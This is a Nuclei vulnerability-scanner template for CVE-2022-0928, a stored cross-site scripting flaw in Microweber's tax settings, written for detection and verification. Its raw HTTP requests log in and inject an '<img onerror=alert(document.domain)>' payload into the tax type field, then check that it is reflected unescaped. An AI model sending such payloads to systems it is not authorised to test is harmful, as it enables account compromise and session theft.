nuclei-templates/http/cves/2022/CVE-2022-0928.yaml

62 lines
2.6 KiB
YAML

id: CVE-2022-0928
info:
name: Microweber < 1.2.12 - Stored Cross-Site Scripting
author: amit-jd
severity: medium
description: |
Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability via the Type parameter in the body of POST request, which is triggered by Add/Edit Tax.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade Microweber to version 1.2.12 or later to mitigate this vulnerability.
reference:
- https://huntr.dev/bounties/085aafdd-ba50-44c7-9650-fa573da29bcd
- https://github.com/microweber/microweber/commit/fc9137c031f7edec5f50d73b300919fb519c924a
- https://nvd.nist.gov/vuln/detail/CVE-2022-0928
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-0928
cwe-id: CWE-79
epss-score: 0.00144
epss-percentile: 0.50156
cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: microweber
product: microweber
tags: cve2022,cve,authenticated,huntr,xss,microweber,cms
http:
- raw:
- |
POST /api/user_login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /api/shop/save_tax_item HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: {{BaseURL}}/admin/view:settings
id=0&name=vat1&type="><img+src%3dx+onerror%3dalert(document.domain)>&rate=10
- |
POST /module HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer:{{BaseURL}}/admin/view:settings
class=+module+module-shop-taxes-admin-list-taxes+&id=mw_admin_shop_taxes_items_list&parent-module-id=settings-admin-mw-main-module-backend-shop-taxes-admin&parent-module=shop%2Ftaxes%2Fadmin&data-type=shop%2Ftaxes%2Fadmin_list_taxes
matchers:
- type: dsl
dsl:
- 'contains(body_3,"<img src=x onerror=alert(document.domain)></td>")'
- 'contains(header_3,"text/html")'
- 'status_code_2 == 200 && status_code_3 == 200'
condition: and
# digest: 490a0046304402204ec58d792beffdddd8520a47f39f107684b58874e924abe866191347ce01799d02206680604020300f5244d9e78173a6d9fefe3050b027124abbce04f1294a65198d:922c64590222798bb761d5b6d8e72950